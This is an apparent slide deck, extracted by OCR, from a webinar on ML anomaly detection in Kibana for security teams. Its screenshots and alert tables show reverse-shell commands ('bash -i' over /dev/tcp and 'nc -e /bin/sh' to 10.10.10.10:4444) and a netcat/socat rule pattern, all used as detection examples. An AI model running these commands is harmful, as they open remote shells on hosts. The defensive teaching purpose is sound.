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From unusual behavior to an actionable security decision

Chen LIANG, Senior Cybersecurity Engineer - StackOps

RESTRICTED




What this Webinar will cover

RESTRICTED

> Q@ % O & 6

Why behavioral ML matters

How the ML Job Evaluates Behaviour

Follow one anomaly in Kibana

Scenarios & use cases

The StackOps MLAD design package

Simplify with StackOps ML Advisor
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n WHY BEHAVIORAL ML MATTERS

Who is ML anomaly detection for?

Five conditions & scenarios that make behavioral ML worth switching on.

=
[c——]
=

Data-rich
environments

Enough historical data to
establish a reliable baseline.

o Ule

High-value or
sensitive workloads

Abnormal activity could
indicate security, operational,
or business risk.

Teams that cannot afford to
miss anomalies.

Complex or
unpredictable
behavior

Patterns are difficult to define
using static rules or
thresholds.

W10 S

Additional detection
layer

Surface subtle or unexpected
signals traditional rules may
overlook.

0O ®

Growing Al-enabled
threats

Attackers increasingly use Al
to generate signature-evading
techniques.

Behavioral detection adapts
where static rules and
thresholds fall behind.

Kibana ML is best suited to sufficient data, meaningful risk, unpredictable behavior, and a low tolerance for missed anomalies.




n WHY BEHAVIORAL ML MATTERS

How ML anomaly detection works
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It learns normal for each entity, then ranks how far each new bucket departs from it.

0 N © O ® 7

Learn normal Compare activity Score 0-100

Builds a baseline per user, host, or value I Evaluates every new time bucket I Ranks how improbable the observation

from historical and incoming behavior. against what the model expected for that was, and keeps the evidence behind it.
entity.

~ N ——

50
100

the expected range it learns one bucket falls outside it 50 is the default alert gate

An anomaly is a ranked lead, not proof of attack—analyst context decides what it means.
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A valid command can be wrong

Every command below is valid syntax. Only one has never run on this host before.
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bash -i >& /dev/tcp/10.10.10.10/4444 0>&1

apt update systemctl sudo chmod
@ o o ® ‘
seen on this host every day for the last 90 days first execution on this host in 90 days
Static rule logic Behavioral ML
Does this match a known bad pattern? Is this unusual for this host?
nc * OR socat * @ rare process.command_line by host.name
the command is bash — no rule pattern matches it never seen in 90 days of this host — ranked, not matched
bash * influencers: host.name, user.name
matches every legitimate shell on every host the result names who and where without a new rule

Syntax says the command is valid. Behavior says it has never run here before.




m HOW THE ML JOB EVALUATES BEHAVIOR

Where analysts see the unusual

One screen, four landmarks — each outlined in the colour of the card that explains it.

(snachoszlnux_-are_commde:y_mn-demo !) 2 Editjob selection

= Q Filter your data using KQL syntax

Top influencers @
host.name
stackops-demo-iinu.

53 53
process.command_line
bash - >& /dew/tcp..

53 53
process.name
bash

53 53
user.name
stackops-workshop.

53 53
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Anomaly timeline

Give feedback [

Viewby host.name v Severity 0O
0 25 50 75 100
(Sortes by max anomaly score)
Annotations
o n
stackops-damo-linue-01 .
2026-07-17  2026-07-71  2026-07-25  2026-07-29  2026-08-02  2026-08-05  2026-08-10  2026-08-14
> Annotations Totak1
Anomalies
Severity  warning interval  Auto v (D
Time ‘Severity ' .|, Detector | Found for Influenced by Actihs
hast.name: stackops-demo-linux-01
et 11t 2026, etect - bash i & process.command_line: bash -i »&
o U " e 57 ocs e comma jdevitcp/10.10.10.10/4444  {dewitcp/10.10.10.10/4444 081 @
14:00 execution by host
0281 process.name: bash
user.naime: stackops-worksnop-user
Description

Anomaly in Detects
doma-inux-01

execution by hos

Details an highest severity anomaly

Time August 11th 2026, 14:00:00 to August 11th
2026, 15:00:00

Function rare

Job IO stackops_linux_rare_command_by_host-demo

Recard score @ 57.255

Inial record score 3 57255

LI—— nontas

command._line bash -1 & fdevitep/10.10.10.10/4444 0241 detected in host name stackops-

Anomaly explanation Learn more (2

o Job context
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What behavioral question is this job asking?

e Host influencer

Which host should the analyst investigate?

e Time window

When did the model see unusual behavior?

o Anomaly record

Which record scored, and what did it involve?

the

top bar
left panel
timeline strip

results table
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a HOW THE ML JOB EVALUATES BEHAVIOR

What the model learns from

The datafeed picks the events; the history window decides whether the baseline can be trusted.

{ "bool": { "filter": [
{"range": { "@timestamp": { "gte": "now-90d/d" } } },
{ "terms": { "event.provider": ["iam.amazonaws.com"] } },
{ "match_phrase": { "aws.cloudtrail.read_only": false } },
{ "exists": { "field": "event.action" } }, { "exists": { "field": "user.name"}}1}}

now-90d/d event.provider read_only: false exists
History window Event scope Event filter Field checks
90 days of history. Two to three IAM calls only. The rest of Mutating calls only. Read-only Documents missing event.action
representative weeks is the CloudTrail never reaches activity is dropped before or user.name are skipped —
readiness benchmark. the model. the detector sees it. the detector needs both.

Wrong filter or too little history and the baseline is wrong — before the model ever scores a thing.
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m FOLLOW ONE ANOMALY IN KIBANA

How ML turns events into anomalies

From raw events to an explainable anomaly result.

o Partition e Bucket span o Detector o Influencers
C— Keep normal Group events Look for Explain who
C—) separate by entity by time the pattern drove the result
1l @ o & ’

Incoming <

events host.name 15 minutes rare host

Raw logs, user.name 1 hour for rare _ hig_h__count user

metrics, or service high_distinct_count process
events stream source.ip

\ J \ J N J
Y Y Y

Explain the answer

Identify the entities
that drove the result

Find the unusual

Score how unusual
the pattern is

Define the context
Whose behavior are we modeling, and over what time window?

Partition and bucket span define the context; the detector scores it; influencers explain it.
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Anomaly
result

Score

87




FOLLOW ONE ANOMALY IN KIBANA

Prioritize by score
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The less likely the behavior, the higher the anomaly score. Use the score to prioritize what to investigate first.

LIKELY FOR THIS ENTITY > EXTREMELY UNUSUAL

50 - the default rule threshold

!
D

50-74
——

warning minor major critical
Note it Watch it Investigate Act first
Background variation. Review Worth a look when it repeats or Improbable enough that the Strongly improbable for that
in bulk, not one by one. clusters on one entity. rule raises an alert. entity. Take these to the top of
the queue.

The score ranks improbability against the job’s own history

RESTRICTED 9




FOLLOW ONE ANOMALY IN KIBANA

Drill into a single anomaly

A

;‘/"\))))

Single-Metric Viewer — five landmarks, each outlined in the colour of the card that explains it.

stackops_aws_monitoring_spike_activities § ¢ Edi jou selection

Detector username

Detacts high count spikes in monitaring and logging £

wataction

B soa-so-stg2-soa-aws.apigat ©

Single time series analysis of count (user.name: 52

ss
50
as
)
3s
Y]
25
20
1
0
os
0o

Z078-7-12 1500 70260713 00:00 20260713 12:00
2089520 w2050 s0a807 080814 awaen 2020828 ooz suaa-08
> Annotations Tota: 2
Anomalies
Sevety - waming v sl Auo v ()
Time | Soverity.of T Detector Fourd for Actusl ) T Typical & T Description
Judy 1310 2026, . Detects high count spikes event
3 e .o o 3 0316
ity 130 2028,
> gt .o s 0919 1+ anhignar
sayramaozs, |, Detects nigh count spives vent e
> e &2 i, 2 oz1 T asxhigh
S— ~—

g5.aws-53-50-51g2, event.action: CreateLogStream) ©

@ show model bounds [ amnotations

Zoum: auta ¥ T 2w 18 (aggregation nterval 15, bucket spar: T5m)
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Job and entity top bar
Which job, detector and series this view is scoped to.

Model bounds chart band
The model’s expected range for that metric in each bucket.

Annotations chart markers

Add context the model cannot know.

Severity score column

The anomaly score for each record — 91, 95 and 62.

e Actual vs typical right columns

What happened vs what was expected — 9x, 4x and 95x. The scores
do not follow that order.

GOVTECH B\ Tech for
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m FOLLOW ONE ANOMALY IN KIBANA

How the anomaly score actually works

»
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One guard, one door — both the usual level and how much it varies change through the day.

120 people J_ how unusual the observation is e typical for that hour
90 people
60 people
the range the model expects for that hour
||
tightest
range width 07:00 12:00 widest  02:00

90 score
people
07:00 - morning 91

9% the usual 10
Mornings run about ten an hour and have never
been erratic. Ninety sits a long way outside anything
the model has seen at this hour.

1 20 people seere
12:00 - lunch 95

4x the usual 30
Lunch is the most predictable hour of the day, so the
expected range is at its tightest. 120 is extremely
improbable given this tight expected range — so it
receives the highest score.

60 score
people
02:00 - dead of night 62

95x a near-zero usual

95x sounds extreme because the typical is almost
zero. But this hour has historically shown much
more variation, so 60 is unusual without being the
least probable.

The score reflects how improbable the count is given what the model expects for that hour, not how many times bigger it is.

11
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m SCENARIOS & USE CASES :,/‘)))))
Scenarios Exceptions
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Two tools for two kinds of exception — and a fixed order for reaching for them.

Anomaly Detection Calendars KNOWN TIME
Calendars

Calendars contain a list of scheduled events for which you da not want to generate Scheduled windows you never want scored—planned outages, patch runs, public holidays.

anomalies, such as planned system outages or public holidays.

patch window public holiday quarter-end batch
You have 0 calendars Manage Create
Filter Lists . .
Fllter lists contain values that you can use to include or exclude events from the ® = F | |tel" I IStS KNOWN VALUE

P
machine learning analysis S

Reusable value lists that include or exclude specific events from the analysis.

You have o filterlists Manage Create
vulnerability scanner backup service account approved admin tool
Machine Learning — Anomaly Detection — Settings
WHEN A JOB IS NOISY, IN THIS ORDER
Confirm the data Add known context Narrow carefully Threshold last
° Is the datafeed and history right? ‘ o Calendars and filter lists. - e Tighten the datafeed query. ‘ o Only then move the rule gate.

Tell the model what is exceptional. Raising the threshold just hides the real signal with it.

12




m SCENARIOS & USE CASES

Y
From events to a security alert

GOVTECH ) Tech for
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A paired rule makes model evidence actionable

o o ® o ®
Y €y /N m|

Events Datafeed ML job Anomaly I SIEM alert
ECS-aligned log sources Selects and schedules Models a detector by entity Score + record + Threshold gates a
input influencers workflow

0 Investigate and decide

The model produces evidence. The rule makes that evidence operational.

13
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Create an ML detection rule

D GOVTECH

SINGAPORE

Pick Machine Learning as the rule type, then point it at the job.

o Rule type: Machine Learning

Select it from the rule-type gallery to pair a rule with a job.

Pick the ML job

Choose the job to watch, or launch "Create custom job" for a
tenant-scoped one.

e Set the anomaly score threshold

50 by default—this is the gate that turns a result into an alert.

RESTRICTED

Rule type

oo

°2) Machine Learning

oo

Select ML job to detect
anomalous activity.

v Selected

Machine Learning job
stackops_linux_spike_outbound_connection_by... X [ < IR

We've provided a few common jobs to get you started. To add your
own custom jobs, assign a group of 'security’ to those jobs in the
Machine Learning [ application to make them appear here.

The selected ML job,
stackops_linux_spike_outbound_connection_by_host, is not currently
running. We will start
stackops_linux_spike_outbound_connection_by_host when you enable
this rule.

Anomaly score threshold

aassss———
50
0 25 50 75 100

B Tech for
Z Public Good

Create custom job [

14




m SCENARIOS & USE CASES

Turn a score into evidence

Four questions — and every answer is already in the alert.

RESTRICTED

What changed?
Rare value, high count, or high distinct count?

function process.command_line

Which entity?
Host, user, command, process, or another influencer?

host.name user.name

How far from normal?
Compare the record score against the rule’s operational gate.

record_score anomaly_threshold

What supports the hypothesis?
Raw events, parent process, related alerts, and known change activity.

influencers by_field_value

Aug 4, 2026 @ 17:41:56.031

GOVTECH

SINGAPORE "z
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A [StackOps][Workshop] [ML][Linux] Rare Command Execution

by Host

Status Risk score Assignees Notes

[ open - | 78 @ @ Add note
Overview Table JSON

Highlighted fields

Field

@timestamp

‘Show investigation guide

=

+ Add Field

Value

2026-08-04T09:41:56.031Z

host.name

user.name
process.name
process.command._line

job_id

stackops-demo-linux-01
stackops-workshop-user

bash

bash -i >& fdev/tcp/10.10.10.10/4444 0>81

stackops_linux_rare_command_by_host-demo

function
Is_interim

record_score.

influencers

partition_field_name
partition._field_value
by_field_name
by_field_value

all_field_values

Kibana.alert.rule.lype

kibana alert.rule.parameters. mach
ine_learning_job_id

kibana alert.rule.parameters.anom
aly_threshold

rare
false

57.25588208902958

{influencer_field_name":["nost.name"],"influencer_field_values":["stackops-
7

demo-linux-

{“influencer_
["bash -i »& (dev/tep/10.10.10.10/4444 0>81"]}

Show more
host.name

stackops-demo-linux-01
process.command._line

bash -i >& fdev/tcp/10.10.10.10/4444 0>81

stackops-demo-linux-01
stackops-demo-linux-01
Show more

machine_learning

stackops_linux_rare_command_by_host-demo

50

id_name"["process.command_line'],"influencer_field_values":

15
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From model evidence to analyst work
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The paired Security rule promotes a final anomaly above the operational threshold into an alert.

status  open A v Severity

. Tend  Counts Treemop

Severity levels

Levels Count

® High 15 8

[ Columns 13/15 ¢ Sortfields 1 15alerts | [ Fields

~ User

Alerts by name

Rule name

[StackOps](Warkshop][Linux] Netcat Reverse Shell...

[StackOps](Workshop][ML][Linux] Rare Command ...

[StackOps](Workshop][ML][Linux] Spike in Distinct...

Count |

8

v Tag StackOps-ML-Linux-Process 1 v oan
Top alerts by host.name v e
v © Rule condition
stackops-demo-linux-01 80% E
stackops-demo-linux-02 20% 3

Updated 18 minutes age  Grid view Additional filters 1 Group alerts by: None ~ [Z

: Requires a final anomaly record scored at least 50.

@ Workflow context o

() Actions @timestamp 1 process.command_line process.name  Rule Severity Risk Score host.name

[ = R Jul 31,2026 @ 16:21:02.118  nc -e /oin/sh 10.10.10.10 4444 ne [StackOps][Werkshop][Linux] Netcat Reverse Shell Command high 73 stackops-demo-linux-01 Severity’ risk‘ MiTRE Context, and guidance prioritize the Work.
0 V&G o Jul 31,2026 @ 16:21:02.117  nc-e /bin/sh 10.10.10.10 4444 nc [StackOps][Waorkshopl[Linux] Netcat Reverse Shell Command high 73 stackops-demo-linux-01

O /& @ o Jul 31,2026 @ 16:20:59.337  — - [Stackops]Workshop]MLILinux] Spike in Distinct Commands by Host high 72 stackops-demo-linux-02

O W & P e Ju131,2026 @ 16:20:55.037  nc-e fbinjsh 10.10,10.10 4444 nc [Stackops][Werkshop]MLILinux] Rare Command Execution by Host high 76  stackops-demo-linux-01

0 V&G o Jul 30,2026 @ 14:44:21.482  nc-e /bin/sh 10.10.10.10 4444 nc [StackOps][Waorkshopl[Linux] Netcat Reverse Shell Command high 73 stackops-demo-linux-01

O /& @ o Jul 30,2026 @ 14:44:21.481  nc-e fbin/sh 10.10.10.10 4444 nc [Stackops][Workshop[Linux] Netcat Reverse Shell Command high 73 stackops-demo-linux-01

O W & P e U130, 2026 @ 14:44:18.614  — - [Stackops][Werkshop]MLI[Linux] Spike in Distinct Commands by Host high 72 stackops-demo-linux-02 c I t- = t

0 V&G o Jul 30,2026 @ 14:44:13.890  nc-e /bin/sh 10.10.10.10 4444 nc [StackOps][Waorkshop]MLI[Linux] Rare Command Execution by Host high 76 stackops-demo-linux-01 orreiation plvo 0
O /& @ o Jul 30,2026 @ 14:26:21.921  — - [Stackops]Workshop]MLILinux] Spike in Distinct Commands by Host high 72 stackops-demo-linux-02

O W & P e U130, 2026 @ 14:24:16.329  nc-e fbin/sh 10.10,10.10 4444 nc [Stackops][Werkshop][Linux] Netcat Reverse Shell Command high 73 stackeps-demo-linux-01 .

0 V&G o Jul 30,2026 @ 14:24:16.328  nc-e /bin/sh 10.10.10.10 4444 nc [StackOps][Waorkshopl[Linux] Netcat Reverse Shell Command high 73 stackops-demo-linux-01 Shared tags lead to related evidence.

O /& @ o Jul 30,2026 @ 14:24:12.552  nc-e fbinjsh 10.10.10.10 4444 nc [Stackops][Workshop]MLI[Linux] Rare Command Execution by Host high 76 stackops-demo-linux-01

O W & P e U130, 2026 @ 14:19:27.581  nc-e fbin/sh 10.10,10.10 4444 nc [Stackops][Werkshop][Linux] Netcat Reverse Shell Command high 73 stackops-demo-linux-01

0 V&G o Jul 30,2026 @ 14:19:27.580  nc-e /bin/sh 10.10.10.10 4444 nc [StackOps][Waorkshopl[Linux] Netcat Reverse Shell Command high 73 stackops-demo-linux-01

The rule is what puts model evidence in the analyst queue—

e model does not raise the alert.

Public Good
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a THE STACKOPS ML DESIGN PACKAGE

Coverage across four domains

48 ML jobs, each paired with a SIEM rule, across four domains.

. AWS . Azure Linux == Windows

17 of 48 jobs 12 of 48 jobs 9 of 48 jobs 10 of 48 jobs
aD

G D aD

35% of the package 25% of the package 19% of the package 21% of the package

IAM - compute - storage - RBAC - compute - storage - process - file - network - process - file - network - security
network - security network - serverless authentication - system

Detector mix: 25 rare - 17 high_count - 6 high_distinct_count

") GOVTECH O Tech for
) SINGAPORE Z Public Good
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Correlation comes out of the box

") GOVTECH O Tech for
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Tier one models behavior. Tier two alerts on it. Shared tags then connect both SIEM lanes.

e ™
Paired StackOps ML SIEM rule

Turns an anomaly above threshold into a security alert.

k[ "+ events ] = [@ ML job ] [ 3 [A:{;?tma'y ]

Shared use-case tag on both rules —
e.g. StackOps-ML-AWS-Compute

( N

Tier 2 - Conventional SIEM lane ML_ANALYSED

StackOps baseline SIEM rule

Produces deterministic evidence for the same use case.

‘ .+ events ’ =) (@ rule logic =) ( [\ alert ’

- J

A

Correlate in
Security > Alerts

@ -
lane

SIEM lane

Filter signal.rule.tags,
then align time range and shared entities.

Aligned QQ Common
E> Shared tags time range entities

° ML alerts and conventional alerts can be linked quickly through shared tags, time range, and common entities.

18
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Design your own job

y ')))) GOVTECH B\ Tech for
ik SINGAPORE Z Public Good

Five questions turn a security concern into a job and rule pair.

I G Scope Which log sources and events matter most, and do they carry the required fields?
I 0 Baseline Whose normal is kept separate: user, host, service, or peer group?

I e Pattern Rare value, high volume, or high distinct cardinality?

I ° Explain Which influencers and raw-event pivots will an analyst actually follow?

I e Operationalize Bucket span, feed cadence, threshold, severity, tags, and owner.

Model [field] with [function] per [entity] over [bucket]; explain with [influencers]; alert with [threshold].

19
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Reuse the pattern; swap inputs

") GOVTECH O Tech for
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DESIGN INPUT STACKOPS REFERENCE TENANT ADAPTATION (EXAMPLE)

Behavior Rare Linux command on one host Rare privileged application action by one user
Source slice Endpoint process events; Linux exec; Tenant audit events; privileged-action filter
security-tool allowlist
Detector rare(process.command_line) rare(event.action)
Partition host.name user.name
Time lens 1h bucket; 150s feed; 15m delay Choose from action frequency and ingest latency
Influencers command, host, process, user action, user, source.ip, application/service
ML rule threshold 50; 60m interval; 180m Start with evidence; validate threshold; assign tenant correlation tag

lookback; Linux process tag

RESTRICTED 20




m SIMPLIFY WITH STACKOPS ML ADVISOR

StackOps ML Advisor

") GOVTECH O Tech for
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A ten-day path from raw logs to a handful of jobs you have chosen to run.

Discover Profile + score Recommend Apply Decide
= v {c}
=
=
Group logs into families Volume, fields, security fit Recommendation report— Create jobs, then rules (off Keep a handful, size
ideas + skip reasons by default) memory, start those

It reads your logs. It proposes jobs. You decide what ships.

21




Rules, ML, and Al-assisted triage

Rules and ML detect; Al Assistant accelerates triage

STATIC RULES

Did a known condition occur?

ML ANOMALY DETECTION

Is this behavior unusual

here?
®  Queries, sequences, thresholds ®  Continuous raw-event modeling
®  Known TTPs and policies ®  Per-user or per-host baselines
®  Predictable rule logic ®  Previously undefined deviations

..)))))

GOVTECH ‘ %
SINGAPORE "z

What does this alert mean
now?

®  Alert/event context supplied

®  Explanation and query help

> Triage and response guidance

Tech for
Public Good

Rules + ML expand the alert set. Al Assistant helps interpret both.

22




FAQ

What teams ask before a first job goes live

We using StackOps for ABLR log review, do | still need ML for
compliance purpose?

ABLR meets the compliance requirement. ML is an additional capability
that helps us go beyond compliance by finding unusual or higher-risk
behaviour that traditional reviews may miss.

How long before it produces trustworthy results?

It scores from day one, but treat 2—-3 weeks of representative history as
the readiness benchmark—Ilonger where the behavior is weekly or
sparse.

Why did a score change, or disappear, after | looked at it?

Interim results use partial bucket data and settle at finalization.
record_score is also re-normalized as new data reshuffles the historical
ranking.

RESTRICTED
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Is there an additional cost to enable ML?

Yes for now, probably not in future when StackOps switched to
Serverless model.

Will it flood us with false positives?

The anomaly job can generate many unusual results, but the SIEM
rule controls which of those become alerts. You can reduce noise by
setting the anomaly-score threshold, then use calendars and filter lists to
suppress known or expected behaviour.

How many jobs should we switch on to start?

A handful. Start where unusual behavior matters most, size the memory,
measure signal quality, then expand deliberately.

23
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Sources and references
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Primary documentation behind every claim in this session.

ELASTIC MACHINE LEARNING

® Minimum data and learning period (8.19)

elastic.co/guide/en/machine-learning/8.19/ml-ad-troubleshooting.html

® Run anomaly detection jobs (8.19)

elastic.co/guide/en/machine-learning/8.19/ml-ad-run-jobs.html

® View anomaly detection results

elastic.co/docs/explore-analyze/machine-learning/anomaly-detection/ml-ad-view-
results

® Count and rare function references

elastic.co/docs/reference/machine-learning/ml-count-functions

® ML anomaly records API

elastic.co/docs/api/doc/elasticsearch/operation/operation-ml-get-records

RESTRICTED

ELASTIC SECURITY

® Elastic Security rule types (8.19)

elastic.co/guide/en/security/8.19/about-rules.html

® ML job and rule requirements (8.19)

elastic.co/guide/en/security/8.19/ml-requirements.html

STACKOPS DOCUMENTATION

® StackOps Documentation

docs.developer.tech.gov.sg/docs/stackops-documentation/elastic/ml/machine-
learning?product=StackOps

25
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5} Workshops & PS Clinic Registration

Registration is open for our upcoming StackOps enablement sessions
(Do register early to secure your slot!)

App Monitoring in StackOps — Level 102
26 August 2026
¢/ Regqister for the workshop

StackOps PS Clinic
&/ Reqister for the PS Clinic

26



https://www.thedigitalacademy.tech.gov.sg/course/detail/stackops-app-monitoring
https://go.gov.sg/stackops-clinic-registration
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Thank You!
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